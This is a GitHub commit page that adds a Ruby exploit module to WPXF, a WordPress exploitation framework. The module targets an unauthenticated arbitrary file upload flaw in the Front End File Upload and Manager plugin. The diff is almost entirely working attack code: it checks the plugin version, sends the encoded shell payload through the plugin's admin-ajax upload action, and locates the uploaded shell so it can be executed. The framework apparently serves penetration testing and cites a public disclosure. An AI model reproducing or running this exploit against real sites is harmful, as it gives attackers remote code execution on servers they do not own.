Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit b561faa

Browse files
committed
Add Front End File Upload and Manager shell upload module
1 parent 0c36471 commit b561faa

File tree

1 file changed

+40
-0
lines changed

1 file changed

+40
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
class Wpxf::Exploit::FrontEndFileUploadAndManagerShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Front End File Upload and Manager Unauthenticated Shell Upload',
9+
author: [
10+
'White Fir Design', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8632'],
15+
['URL', 'https://www.pluginvulnerabilities.com/2016/09/19/arbitrary-file-upload-vulnerability-in-front-end-file-upload-and-manager-plugin/']
16+
],
17+
date: 'Sep 19 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('nmedia-user-file-uploader', '4.0')
23+
end
24+
25+
def uploader_url
26+
wordpress_url_admin_ajax
27+
end
28+
29+
def payload_body_builder
30+
builder = Utility::BodyBuilder.new
31+
builder.add_field('action', 'nm_filemanager_upload_file')
32+
builder.add_field('name', payload_name.downcase)
33+
builder.add_file_from_string('file', payload.encoded, payload_name.downcase)
34+
builder
35+
end
36+
37+
def uploaded_payload_location
38+
normalize_uri(wordpress_url_uploads, 'user_uploads', payload_name.downcase)
39+
end
40+
end

0 commit comments

Comments
 (0)